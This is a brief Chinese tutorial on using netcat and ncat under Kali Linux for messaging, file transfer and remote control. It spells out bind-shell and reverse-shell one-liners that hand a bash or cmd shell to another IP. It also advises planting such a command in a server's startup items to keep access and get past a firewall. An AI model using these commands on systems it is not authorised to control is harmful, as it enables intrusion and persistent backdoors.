一、简介nc是netcat的简写,有着网络界的瑞士×××美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具。nc 常用的命令有两个:1、-v 输出详细的交互或者出错信息2、-n 如果后面是ip地址不会进行dns解析eg:nc -vn 192.168.11.11 8888二、利用nc文本传输:类似于socket一个作为服务端,一个作为客户端。服务端命令:nc -l -p 端口客户端命令: nc -vn ip port拓展:在电子取证的时候会用到。用 | 管道符将客户端输出的结果发送到服务端。传输文件:接收方命令: nc -lp 333>1.txt 发送方命令:nc -nv 111.11.11.11 333 <2 .txt三、利用nc实现远程控制将自己的shell脚本放在自己的端口处等待连接或者接受对方传送过来的shell窗口来实现远程控制。方法一; nc -lp 333 -c bash(nc -vn 192.168.22.22 333)(等待对方来连接)方法二:nc -lp 333 (nc -vn -192.145.11.1 333 -c bash)(接受对方的shell窗口)×××思路:可以将该命令写成脚本,然后放在服务器的开机启动项里面。因为网站防火墙的存在,进制在外面通过端口想里面发送东西,故可以尝试第二中方法。tips:在window用户中应将bash 改为cmd 四、nc工具拓展通过管道符号结合nc命令会产生意想不到的效果比如利用nc命令结合压缩命令可以发送整个压缩包。五、缺陷1、明文传输,容易被嗅探(可以通过系统加密方法)2、缺乏身份验证机制,不安全,容易被其他人盗用。3、不同版本的nc是不同的、参数也有可能不同。unbutn版本的nc没有-c六、拓展1、为了解决上面的问题,便出现了ncat工具,该工具是nmap工具集中的一个工具。2、命令:服务器端:ncat -c bash --allow “you ip” - vnl 333 --ssl 客户端: ncat -vn “ip” “端口 ” --ssl 每次连接的哈希值是会改变的,ncat可以实现的功能都可以通过nc实现。
Kail Basic use of NC tools under Linux (Safe Cow video)